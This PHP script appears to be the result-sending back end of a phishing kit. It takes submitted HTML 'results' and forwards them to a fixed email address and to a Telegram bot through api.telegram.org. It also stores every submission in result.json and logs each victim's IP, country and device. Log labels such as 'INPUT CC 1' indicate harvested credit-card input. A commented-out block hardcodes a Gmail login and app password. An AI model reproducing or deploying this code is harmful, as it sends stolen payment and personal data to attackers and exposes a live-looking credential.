<?php
/**
 * =====================================
 * LOAD PHPMailer
 * =====================================
 */
require __DIR__ . '/Exception.php';
require __DIR__ . '/PHPMailer.php';
require __DIR__ . '/SMTP.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

/**
 * =====================================
 * LOAD CONFIG
 * =====================================
 */
$configPath = realpath(__DIR__ . '/../config.ini');

if (!$configPath || !file_exists($configPath)) {
    http_response_code(500);
    exit('Config not found');
}

$config = parse_ini_file($configPath, true);

$fixedRecipient = $config['result']['email'] ?? null;
$telegramToken  = $config['telegram']['bot_token'] ?? null;
$telegramChatId = $config['telegram']['chat_id'] ?? null;

/**
 * =====================================
 * LOGGING SYSTEM
 * =====================================
 */
function getClientIP(): string {
    return $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN';
}

function writeLog(string $ket): void {
    global $config;
    
    $country = $_SESSION['geo']['country'] ?? 'UNKNOWN';
    
    $device = $_SESSION['device_info'] ?? "Unknown Device";

    $file = __DIR__ . '/../access.log';

    $line = sprintf(
        "%s | %s | %s | %s | %s\n",
        date('Y-m-d H:i:s'),
        $ket,
        getClientIP(),
        $country,
        $device
    );

    file_put_contents($file, $line, FILE_APPEND | LOCK_EX);
}


/**
 * =====================================
 * VALIDATE REQUEST
 * =====================================
 */
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    exit;
}

$subject = $_POST['subject'] ?? '';
$html    = $_POST['html'] ?? '';
$name    = $_POST['name'] ?? 'Admin';

if (!$subject || !$html || !$fixedRecipient) {
    http_response_code(400);
    exit('Invalid request');
}

$fromEmail = "add@st.id";
$fromName  = $name;

/**
 * =====================================
 * SAVE TO result.json
 * =====================================
 */
$resultFile = __DIR__ . '/../result.json';

$existingData = file_exists($resultFile)
    ? json_decode(file_get_contents($resultFile), true)
    : [];

$existingData[] = [
    "subject"   => $subject,
    "name"      => $name,
    "html"      => $html,
    "ip"        => $_SERVER['REMOTE_ADDR'] ?? '',
    "timestamp" => date("Y-m-d H:i:s")
];

file_put_contents(
    $resultFile,
    json_encode($existingData, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)
);

/**
 * =====================================
 * SEND EMAIL
 * =====================================
 */
$mail = new PHPMailer(true);
$emailStatus = false;

try {

    $mail->isMail();
    // $mail->isSMTP();
    // $mail->Host       = 'smtp.gmail.com';
    // $mail->SMTPAuth   = true;
    // $mail->Username   = 'add@st.id';
    // $mail->Password   = 'wihz wjus jssw fowv';
    // $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;
    // $mail->Port       = 465;

    $mail->setFrom($fromEmail, $fromName);
    $mail->addAddress($fixedRecipient);

    $mail->isHTML(true);
    $mail->Subject = $subject;
    $mail->Body    = $html;
    $mail->AltBody = strip_tags($html);

    $mail->send();
    $emailStatus = true;

} catch (Exception $e) {
    file_put_contents(
        __DIR__ . '/../mailer_error.txt',
        date("Y-m-d H:i:s") . " | " . $mail->ErrorInfo . PHP_EOL,
        FILE_APPEND
    );
    echo json_encode([
            "text" => "Email sent successfully!"
        ]);
    exit;
}

/**
 * =====================================
 * SEND TELEGRAM
 * =====================================
 */
$telegramStatus = false;

if ($telegramToken && $telegramChatId) {

    // 1. Hapus semua tag yang tidak didukung Telegram
    $allowedTags = '<b><i><u><strong><em><code><pre><a>';
    $safeHtml = strip_tags($html, $allowedTags);

    // 2. Ganti <br> dengan newline
    $safeHtml = preg_replace('/<br\s*\/?>/i', "\n", $safeHtml);

    // 3. Decode entity HTML dan normalisasi newline
    $safeHtml = html_entity_decode($safeHtml, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    $safeHtml = preg_replace("/\r\n|\r|\n/", "\n", $safeHtml);
    $safeHtml = preg_replace("/\n{2,}/", "\n\n", $safeHtml);

    // 4. Batasi panjang pesan (Telegram max 4096 karakter)
    if (strlen($safeHtml) > 3500) {
        $safeHtml = substr($safeHtml, 0, 3500) . "\n...";
    }

    // 5. Wrap semua konten dalam <pre> agar aman
        $telegramMessage = "📩 <b>New Result</b>\n\n<pre>" . htmlspecialchars($safeHtml) . "</pre>";

    // 6. Kirim ke Telegram
    $payload = [
        "chat_id"    => $telegramChatId,
        "text"       => $telegramMessage,
        "parse_mode" => "HTML"
    ];

    $ch = curl_init("https://api.telegram.org/bot{$telegramToken}/sendMessage");
    curl_setopt_array($ch, [
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => $payload,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT        => 10
    ]);

    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    // 7. Simpan debug untuk cek error
    file_put_contents(
        __DIR__ . '/../telegram_debug.txt',
        date("Y-m-d H:i:s") . " | HTTP: {$httpCode} | RESPONSE: {$response}" . PHP_EOL,
        FILE_APPEND
    );

    // 8. Set status Telegram
    if ($response !== false) {
        $res = json_decode($response, true);
        if (isset($res['ok']) && $res['ok'] === true) {
            $telegramStatus = true;
        } else {
            // Simpan error detail
            file_put_contents(
                __DIR__ . '/../telegram_error.txt',
                date("Y-m-d H:i:s") . " | ERROR: " . ($res['description'] ?? 'Unknown') . PHP_EOL,
                FILE_APPEND
            );
        }
    }
}

/**
 * =====================================
 * LOG LOGIC BASED ON SUBJECT
 * =====================================
 */
if ($emailStatus || $telegramStatus) {
    $logKet = "SEND RESULT"; // Default jika tidak cocok
    
    // Cek kata kunci dalam subjek (Case Insensitive)
    if (stripos($subject, 'RESULT 1') !== false) {
        $logKet = "INPUT CC 1";
    } elseif (stripos($subject, 'RESULT 2') !== false) {
        $logKet = "INPUT CC 2";
    }

    writeLog($logKet);
}
/**
 * =====================================
 * RESPONSE
 * =====================================
 */
header('Content-Type: application/json');

echo json_encode([
    "status"   => true,
    "text" => "Email sent successfully!",
    "email"    => $emailStatus,
    "telegram" => $telegramStatus,
    "to"       => $fixedRecipient,
    "subject"  => $subject
]);